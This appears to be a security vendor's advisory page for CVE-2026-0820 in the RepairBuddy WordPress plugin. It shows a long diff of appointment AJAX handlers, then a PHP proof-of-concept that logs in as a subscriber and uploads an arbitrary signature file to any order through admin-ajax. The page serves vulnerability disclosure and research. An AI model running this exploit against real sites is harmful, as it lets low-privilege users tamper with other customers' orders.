+            $params[] = $exclude_appointment_id;
+        }
+
+        $result = $wpdb->get_row($wpdb->prepare($query, $params));
+
+        return $result->conflict_count > 0;
+    }
+
+    /**
+     * Check if appointment type is enabled
+     */
+    public function is_appointment_type_enabled($type) {
+        $enabled_types = array_keys($this->get_appointment_types());
+        return in_array($type, $enabled_types);
+    }
+}
+endif;
+
+// Initialize the class
+function WC_CR_APPOINTMENTS_MANAGEMENT() {
+    return WC_CR_Appointments_Manager::getInstance();
+}
+
+/**
+ * Ajax Methods
+ * Add Appointment
+ * Update Appointment
+ * Get Appointment
+ */
+/**
+ * AJAX handler for getting available time slots
+ */
+add_action('wp_ajax_wcrb_get_available_time_slots', 'wcrb_get_available_time_slots_ajax');
+add_action('wp_ajax_nopriv_wcrb_get_available_time_slots', 'wcrb_get_available_time_slots_ajax');
+
+function wcrb_get_available_time_slots_ajax() {
+    // Verify nonce
+    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'wcrb_appointment_nonce')) {
+        wp_send_json_error(array('message' => 'Security check failed'));
+    }
+
+    $appointment_manager = WC_CR_APPOINTMENTS_MANAGEMENT();
+
+    $date          = isset($_POST['date']) ? sanitize_text_field($_POST['date']) : '';
+    $technician_id = isset($_POST['technician_id']) ? intval($_POST['technician_id']) : null;
+
+    if  (empty( $date ) ) {
+        wp_send_json_error( array( 'message' => 'Date is required' ) );
+    }
+
+    // Validate date format
+    $date_parts = explode( '-', $date );
+    if ( count( $date_parts ) !== 3 || !checkdate($date_parts[1], $date_parts[2], $date_parts[0] ) ) {
+        wp_send_json_error(array('message' => 'Invalid date format'));
+    }
+
+    // Check if date is available for booking
+    if ( ! $appointment_manager->is_date_available( $date ) ) {
+        wp_send_json_success(array(
+            'time_slots' => array(),
+            'message' => 'No time slots available for this date'
+        ));
+    }
+
+    // Get available time slots
+    $time_slots = $appointment_manager->get_available_time_slots($date, $technician_id);
+
+    if (empty($time_slots)) {
+        wp_send_json_success(array(
+            'time_slots' => array(),
+            'message' => 'All time slots are booked for this date'
+        ));
+    }
+
+    wp_send_json_success(array(
+        'time_slots' => $time_slots,
+        'message' => sprintf(__('%d time slots available', 'computer-repair-shop'), count($time_slots))
+    ));
+}
+
+/**
+ * AJAX handler for adding appointment
+ */
+add_action('wp_ajax_wcrb_add_appointment', 'wcrb_add_appointment_ajax');
+add_action('wp_ajax_nopriv_wcrb_add_appointment', 'wcrb_add_appointment_ajax');
+
+function wcrb_add_appointment_ajax() {
+    // Verify nonce
+    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'wcrb_appointment_nonce')) {
+        wp_send_json_error(array('message' => 'Security check failed'));
+    }
+
+    $appointment_manager = WC_CR_APPOINTMENTS_MANAGEMENT();
+
+    // Validate required fields
+    $required_fields = array('customer_id', 'appointment_date', 'appointment_time', 'appointment_type');
+    foreach ($required_fields as $field) {
+        if (empty($_POST[$field])) {
+            wp_send_json_error(array('message' => sprintf(__('%s is required', 'computer-repair-shop'), $field)));
+        }
+    }
+
+    // Check if appointment type is enabled
+    $appointment_type = sanitize_text_field($_POST['appointment_type']);
+    if (!$appointment_manager->is_appointment_type_enabled($appointment_type)) {
+        wp_send_json_error(array('message' => __('This appointment type is not available', 'computer-repair-shop')));
+    }
+
+    $_technician_id = !empty($_POST['technician_id']) ? intval($_POST['technician_id']) : null;
+    $_technician_id = ( empty( $_technician_id ) && isset( $_POST['technician_idadd'] ) ) ? sanitize_text_field( $_POST['technician_idadd'] ) : $_technician_id;
+
+    // Prepare data
+    $data = array(
+        'customer_id' => intval($_POST['customer_id']),
+        'job_id' => !empty($_POST['job_id']) ? intval($_POST['job_id']) : null,
+        'technician_id' => $_technician_id,
+        'appointment_type' => $appointment_type,
+        'appointment_date' => sanitize_text_field($_POST['appointment_date']),
+        'appointment_time' => sanitize_text_field($_POST['appointment_time']),
+        'duration_minutes' => !empty($_POST['duration_minutes']) ? intval($_POST['duration_minutes']) : $appointment_manager->get_time_slot_duration(),
+        'status' => !empty($_POST['status']) ? sanitize_text_field($_POST['status']) : 'scheduled',
+        'location_details' => !empty($_POST['location_details']) ? sanitize_textarea_field($_POST['location_details']) : '',
+        'notes' => !empty($_POST['notes']) ? sanitize_textarea_field($_POST['notes']) : '',
+        'created_by' => get_current_user_id()
+    );
+
+    // Check for conflicts if technician is assigned
+    if (!empty($data['technician_id'])) {
+        $conflict = $appointment_manager->check_conflict(
+            $data['appointment_date'],
+            $data['appointment_time'],
+            $data['technician_id']
+        );
+
+        if ($conflict) {
+            wp_send_json_error(array('message' => __('Time slot is already booked for this technician', 'computer-repair-shop')));
+        }
+    }
+
+    // Add appointment
+    $appointment_id = $appointment_manager->add_appointment($data);
+
+    if ($appointment_id) {
+        wp_send_json_success(array(
+            'message' => __('Appointment added successfully!', 'computer-repair-shop'),
+            'appointment_id' => $appointment_id
+        ));
+    } else {
+        wp_send_json_error(array('message' => __('Failed to add appointment', 'computer-repair-shop')));
+    }
+}
+
+/**
+ * AJAX handler for getting appointment details with enhanced HTML view
+ */
+add_action('wp_ajax_wcrb_get_appointment_details', 'wcrb_get_appointment_details_ajax');
+add_action('wp_ajax_nopriv_wcrb_get_appointment_details', 'wcrb_get_appointment_details_ajax');
+
+function wcrb_get_appointment_details_ajax() {
+    // Verify nonce
+    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'wcrb_appointment_nonce')) {
+        wp_send_json_error(array('message' => 'Security check failed'));
+    }
+
+    $appointment_id = isset($_POST['appointment_id']) ? intval($_POST['appointment_id']) : 0;
+
+    if (!$appointment_id) {
+        wp_send_json_error(array('message' => 'Appointment ID is required'));
+    }
+
+    $appointment_manager = WC_CR_APPOINTMENTS_MANAGEMENT();
+    $appointment = $appointment_manager->get_appointment($appointment_id);
+
+    if (!$appointment) {
+        wp_send_json_error(array('message' => 'Appointment not found'));
+    }
+
+    // Get appointment types and statuses
+    $appointment_types = $appointment_manager->get_appointment_types();
+    $appointment_statuses = $appointment_manager->get_appointment_statuses();
+    $appointment_colors = $appointment_manager->get_appointment_type_colors();
+
+    // Status badge classes
+    $status_class = array(
+        'scheduled' => 'secondary',
+        'confirmed' => 'primary',
+        'in_progress' => 'info',
+        'completed' => 'success',
+        'cancelled' => 'danger',
+        'no_show' => 'warning',
+        'rescheduled' => 'warning'
+    );
+
+    // Format dates and times
+    $appointment_date_formatted = date_i18n(get_option('date_format'), strtotime($appointment->appointment_date));
+    $appointment_time_formatted = esc_html($appointment->appointment_time);
+    $created_at_formatted = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), strtotime($appointment->created_at));
+    $updated_at_formatted = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), strtotime($appointment->updated_at));
+
+    // Build customer details HTML like in wcrb_reload_customer_data
+    $customer_html = '';
+    if ($appointment->customer_user_id) {
+        $customer_html .= !empty($appointment->customer_full_name) ? esc_html($appointment->customer_full_name) . '<br>' : '';
+
+        $contact_row = '';
+        $contact_row .= !empty($appointment->customer_email) ? '<strong>E :</strong> ' . esc_html($appointment->customer_email) . ' ' : '';
+        $contact_row .= !empty($appointment->customer_phone) ? '<strong>P :</strong> ' . esc_html($appointment->customer_phone) . '' : '';
+        $customer_html .= !empty($contact_row) ? $contact_row . '<br>' : '';
+
+        $company_row = '';
+        $company_row .= !empty($appointment->customer_company) ? '<strong>' . esc_html__('Company', 'computer-repair-shop') . ' :</strong> ' . esc_html($appointment->customer_company) . ' ' : '';
+        $company_row .= !empty($appointment->customer_tax) ? '<strong>' . esc_html__('Tax ID', 'computer-repair-shop') . ' :</strong> ' . esc_html($appointment->customer_tax) . '' : '';
+        $customer_html .= !empty($company_row) ? $company_row . '<br>' : '';
+
+        // Build address
+        if (!empty($appointment->customer_address_1) || !empty($appointment->customer_city) || !empty($appointment->customer_postcode)) {
+            $customer_html .= '<strong>' . esc_html__('Address', 'computer-repair-shop') . ' :</strong> ';
+
+            $address_parts = array();
+            if (!empty($appointment->customer_address_1)) $address_parts[] = esc_html($appointment->customer_address_1);
+            if (!empty($appointment->customer_city)) $address_parts[] = esc_html($appointment->customer_city);
+            if (!empty($appointment->customer_postcode)) $address_parts[] = esc_html($appointment->customer_postcode);
+            if (!empty($appointment->customer_state)) $address_parts[] = esc_html($appointment->customer_state);
+            if (!empty($appointment->customer_country)) $address_parts[] = esc_html($appointment->customer_country);
+
+            $customer_html .= implode(', ', $address_parts);
+        }
+    }
+
+    // Build the HTML
+    $html = '
+    <div class="appointment-details-enhanced compact">
+        <div class="row g-0">
+            <!-- Appointment Number and Date -->
+            <div class="col-md-6 mb-2">
+                <div class="info-card appointment-number-card">
+                    <div class="info-label">' . __('Appointment #', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . esc_html($appointment->appointment_number) . '</div>
+                </div>
+            </div>
+            <div class="col-md-6 mb-2">
+                <div class="info-card date-card">
+                    <div class="info-label">' . __('Date', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . $appointment_date_formatted . '</div>
+                </div>
+            </div>
+
+            <!-- Time and Duration -->
+            <div class="col-md-6 mb-2">
+                <div class="info-card time-card">
+                    <div class="info-label">' . __('Time', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . $appointment_time_formatted . '</div>
+                </div>
+            </div>
+            <div class="col-md-6 mb-2">
+                <div class="info-card duration-card">
+                    <div class="info-label">' . __('Duration', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . esc_html($appointment->duration_minutes) . ' ' . __('minutes', 'computer-repair-shop') . '</div>
+                </div>
+            </div>
+
+            <!-- Type and Status -->
+            <div class="col-md-6 mb-2">
+                <div class="info-card type-card">
+                    <div class="info-label">' . __('Type', 'computer-repair-shop') . '</div>
+                    <div class="info-value">
+                        <span class="type-badge" style="background-color: ' . esc_attr($appointment_colors[$appointment->appointment_type] ?? '#6c757d') . '">
+                            ' . esc_html($appointment_types[$appointment->appointment_type] ?? $appointment->appointment_type) . '
+                        </span>
+                    </div>
+                </div>
+            </div>
+            <div class="col-md-6 mb-2">
+                <div class="info-card status-card">
+                    <div class="info-label">' . __('Status', 'computer-repair-shop') . '</div>
+                    <div class="info-value">
+                        <span class="status-badge badge-' . ($status_class[$appointment->status] ?? 'secondary') . '">
+                            ' . esc_html($appointment_statuses[$appointment->status] ?? $appointment->status) . '
+                        </span>
+                    </div>
+                </div>
+            </div>
+
+            <!-- Customer Information -->
+            <div class="col-12 mb-2">
+                <div class="info-card customer-card">
+                    <div class="info-label">' . __('Customer Details', 'computer-repair-shop') . '</div>
+                    <div class="info-value">';
+
+    if (!empty($customer_html)) {
+        $html .= $customer_html;
+    } else {
+        $html .= esc_html($appointment->customer_name);
+        if (!empty($appointment->customer_email)) {
+            $html .= '<br><a href="mailto:' . esc_attr($appointment->customer_email) . '" class="text-decoration-none">' . esc_html($appointment->customer_email) . '</a>';
+        }
+    }
+
+    $html .= '
+                    </div>
+                </div>
+            </div>
+
+            <!-- Technician Information -->
+            <div class="col-md-6 mb-2">
+                <div class="info-card technician-card">
+                    <div class="info-label">' . __('Technician', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . ($appointment->technician_name ? esc_html($appointment->technician_name) : '<span class="text-muted">' . __('Unassigned', 'computer-repair-shop') . '</span>') . '</div>
+                </div>
+            </div>';
+
+    // Job Information
+    if ($appointment->job_id && $appointment->job_title) {
+        $job_link = admin_url('post.php?post=' . $appointment->job_id . '&action=edit');
+        $html .= '
+            <div class="col-md-6 mb-2">
+                <div class="info-card job-card">
+                    <div class="info-label">' . __('Job', 'computer-repair-shop') . '</div>
+                    <div class="info-value">
+                        <a href="' . esc_url($job_link) . '" target="_blank" class="text-decoration-none">
+                            ' . esc_html(wp_trim_words($appointment->job_title, 4)) . '
+                        </a>
+                    </div>
+                </div>
+            </div>';
+    } else {
+        $html .= '
+            <div class="col-md-6 mb-2">
+                <div class="info-card job-card">
+                    <div class="info-label">' . __('Job', 'computer-repair-shop') . '</div>
+                    <div class="info-value">
+                        <span class="text-muted">' . __('No Job', 'computer-repair-shop') . '</span>
+                    </div>
+                </div>
+            </div>';
+    }
+
+    // Location Details (if applicable)
+    if (!empty($appointment->location_details) && in_array($appointment->appointment_type, ['pickup', 'onsite'])) {
+        $html .= '
+            <div class="col-12 mb-2">
+                <div class="info-card location-card">
+                    <div class="info-label">' . __('Location Details', 'computer-repair-shop') . '</div>
+                    <div class="info-value location-text">
+                        ' . nl2br(esc_html($appointment->location_details)) . '
+                    </div>
+                </div>
+            </div>';
+    }
+
+    // Notes
+    if (!empty($appointment->notes)) {
+        $html .= '
+            <div class="col-12 mb-2">
+                <div class="info-card notes-card">
+                    <div class="info-label">' . __('Notes', 'computer-repair-shop') . '</div>
+                    <div class="info-value notes-text">
+                        ' . nl2br(esc_html($appointment->notes)) . '
+                    </div>
+                </div>
+            </div>';
+    }
+
+    // Metadata
+    $html .= '
+            <!-- Created Information -->
+            <div class="col-md-6 mb-2">
+                <div class="info-card created-by-card">
+                    <div class="info-label">' . __('Created By', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . esc_html($appointment->created_by_name) . '</div>
+                </div>
+            </div>
+            <div class="col-md-6 mb-2">
+                <div class="info-card created-at-card">
+                    <div class="info-label">' . __('Created At', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . $created_at_formatted . '</div>
+                </div>
+            </div>';
+
+    // Updated Information (if different from created)
+    if ($appointment->created_at != $appointment->updated_at) {
+        $html .= '
+            <div class="col-md-6 mb-2">
+                <div class="info-card updated-at-card">
+                    <div class="info-label">' . __('Last Updated', 'computer-repair-shop') . '</div>
+                    <div class="info-value">' . $updated_at_formatted . '</div>
+                </div>
+            </div>';
+    }
+
+    $html .= '
+        </div>
+    </div>';
+
+    wp_send_json_success(array('html' => $html));
+}
+
+/**
+ * AJAX handler for updating appointment status
+ */
+add_action('wp_ajax_wcrb_update_appointment_status', 'wcrb_update_appointment_status_ajax');
+add_action('wp_ajax_nopriv_wcrb_update_appointment_status', 'wcrb_update_appointment_status_ajax');
+
+function wcrb_update_appointment_status_ajax() {
+    // Verify nonce
+    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'wcrb_appointment_nonce')) {
+        wp_send_json_error(array('message' => 'Security check failed'));
+    }
+
+    $appointment_id = isset($_POST['appointment_id']) ? intval($_POST['appointment_id']) : 0;
+    $new_status = isset($_POST['new_status']) ? sanitize_text_field($_POST['new_status']) : '';
+
+    if (!$appointment_id) {
+        wp_send_json_error(array('message' => 'Appointment ID is required'));
+    }
+
+    if (empty($new_status)) {
+        wp_send_json_error(array('message' => 'New status is required'));
+    }
+
+    $appointment_manager = WC_CR_APPOINTMENTS_MANAGEMENT();
+
+    // Validate status
+    $valid_statuses = $appointment_manager->get_appointment_statuses();
+    if (!isset($valid_statuses[$new_status])) {
+        wp_send_json_error(array('message' => 'Invalid status'));
+    }
+
+    // Use simple status update method
+    $result = $appointment_manager->update_status($appointment_id, $new_status);
+
+    if ($result !== false) {
+        wp_send_json_success(array(
+            'message' => __('Appointment status updated successfully!', 'computer-repair-shop'),
+            'new_status' => $new_status,
+            'status_label' => $valid_statuses[$new_status]
+        ));
+    } else {
+        wp_send_json_error(array('message' => __('Failed to update appointment status', 'computer-repair-shop')));
+    }
+}
+
+add_action('wp_ajax_wcrb_delete_appointment', 'wcrb_delete_appointment_ajax');
+function wcrb_delete_appointment_ajax() {
+    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'wcrb_appointment_nonce')) {
+        wp_send_json_error(array('message' => 'Security check failed'));
+    }
+
+    $appointment_id = isset($_POST['appointment_id']) ? intval($_POST['appointment_id']) : 0;
+
+    if (!$appointment_id) {
+        wp_send_json_error(array('message' => 'Appointment ID is required'));
+    }
+
+    $appointment_manager = WC_CR_APPOINTMENTS_MANAGEMENT();
+    $result = $appointment_manager->delete_appointment($appointment_id);
+
+    if ($result) {
+        wp_send_json_success(array('message' => __('Appointment deleted successfully!', 'computer-repair-shop')));
+    } else {
+        wp_send_json_error(array('message' => __('Failed to delete appointment', 'computer-repair-shop')));
+    }
+}
+
+/**
+ * AJAX handler for getting customer jobs
+ */
+add_action('wp_ajax_wcrb_get_customer_jobs', 'wcrb_get_customer_jobs_ajax');
+add_action('wp_ajax_nopriv_wcrb_get_customer_jobs', 'wcrb_get_customer_jobs_ajax');
+
+function wcrb_get_customer_jobs_ajax() {
+    // Verify nonce
+    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'wcrb_appointment_nonce')) {
+        wp_send_json_error(array('message' => 'Security check failed'));
+    }
+
+    $customer_id = isset($_POST['customer_id']) ? intval($_POST['customer_id']) : 0;
+
+    if (!$customer_id) {
+        wp_send_json_success(array(
+            'jobs' => array(),
+            'message' => 'No customer selected'
+        ));
+    }
+
+    global $wpdb;
+    $jobs_manager = WCRB_JOBS_MANAGER::getInstance();
+
+    // Get jobs for this customer
+    $jobs = $wpdb->get_results($wpdb->prepare(
+        "SELECT p.ID, p.post_title, p.post_date
+        FROM {$wpdb->prefix}posts p
+        LEFT JOIN {$wpdb->prefix}postmeta pm ON p.ID = pm.post_id
+        WHERE p.post_type = 'rep_jobs'
+        AND p.post_status != 'trash'
+        AND pm.meta_key = '_customer'
+        AND pm.meta_value = %d
+        ORDER BY p.post_date DESC
+        LIMIT 50",
+        $customer_id
+    ));
+
+    $job_options = array();
+
+    if ($jobs) {
+        foreach ($jobs as $job) {
+            $job_data = $jobs_manager->get_job_display_data($job->ID);
+            $job_number = !empty($job_data['formatted_job_number']) ? $job_data['formatted_job_number'] : '#' . $job->ID;
+            $job_title = wp_trim_words($job->post_title, 4);
+
+            // Get job status for display
+            $status_terms = wp_get_post_terms($job->ID, 'job_status');
+            $status_text = '';
+            if (!is_wp_error($status_terms) && !empty($status_terms)) {
+                $status_text = ' - ' . $status_terms[0]->name;
+            }
+
+            $job_options[] = array(
+                'id' => $job->ID,
+                'text' => $job_number . ' - ' . $job_title . $status_text
+            );
+        }
+    }
+
+    wp_send_json_success(array(
+        'jobs' => $job_options,
+        'total' => count($job_options),
+        'message' => sprintf(__('%d jobs found', 'computer-repair-shop'), count($job_options))
+    ));
+}
 No newline at end of file
--- a/computer-repair-shop/lib/includes/classes/class-appointments.php
+++ b/computer-repair-shop/lib/includes/classes/class-appointments.php
@@ -116,6 +116,7 @@
                             <select id="calendarFilter" class="form-select form-select-sm" style="width: auto; min-width: 180px;">
                                 <option value="all"><?php esc_html_e( 'All Items', 'computer-repair-shop' ); ?></option>
                                 <option value="jobs"><?php esc_html_e( 'Jobs Only', 'computer-repair-shop' ); ?></option>
+                                <option value="appointments"><?php esc_html_e( 'Appointments Only', 'computer-repair-shop' ); ?></option>
                                 <option value="estimates"><?php esc_html_e( 'Estimates Only', 'computer-repair-shop' ); ?></option>
                                 <?php if ( $is_admin || $is_store_manager ) : ?>
                                 <option value="my_assignments"><?php esc_html_e( 'My Assignments', 'computer-repair-shop' ); ?></option>
@@ -185,7 +186,7 @@
         $ajaxurl = admin_url('admin-ajax.php');
         ?>
         <style>
-            /* Your existing styles */
+            /* Add tooltip styling */
             .fc-event {
                 border-radius: 4px;
                 border: none;
@@ -204,10 +205,49 @@
             .status-completed { background-color: #6f42c1 !important; }
             .status-delivered { background-color: #e83e8c !important; }
             .status-cancelled { background-color: #dc3545 !important; }
+
+            /* Appointment styling */
+            .appointment-event {
+                border-radius: 4px !important;
+                padding: 2px 4px !important;
+                font-size: 0.85em !important;
+                border: 1px solid rgba(0,0,0,0.1) !important;
+            }
+
+            /* Appointment type colors */
+            .appointment-type-store-visit {
+                background-color: #3498db !important;
+                border-left: 4px solid #2980b9 !important;
+            }
+            .appointment-type-pickup {
+                background-color: #2ecc71 !important;
+                border-left: 4px solid #27ae60 !important;
+            }
+            .appointment-type-onsite {
+                background-color: #e74c3c !important;
+    

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0820 - RepairBuddy <= 4.1116 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Signature Upload to Orders

<?php

$target_url = 'http://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$order_id = 123; // Target any existing order ID

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Step 2: Prepare malicious signature upload
$upload_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a temporary signature file
$signature_content = "Unauthorized signature upload via CVE-2026-0820n";
$temp_file = tempnam(sys_get_temp_dir(), 'sig_');
file_put_contents($temp_file, $signature_content);

// Build multipart form data for file upload
$post_fields = [
    'action' => 'wc_upload_and_save_signature',
    'order_id' => $order_id,
    'signature_file' => new CURLFile($temp_file, 'image/png', 'malicious_signature.png')
];

curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$upload_response = curl_exec($ch);

// Step 3: Check if exploit succeeded
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "Exploit attempt completed. Response: " . $upload_response . "n";
    
    // Parse JSON response if available
    $json_response = json_decode($upload_response, true);
    if ($json_response && isset($json_response['success'])) {
        echo "Signature upload appears successful. Vulnerability confirmed.n";
    } else {
        echo "Unexpected response format. Manual verification required.n";
    }
} else {
    echo "Exploit failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}

// Cleanup
unlink($temp_file);
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School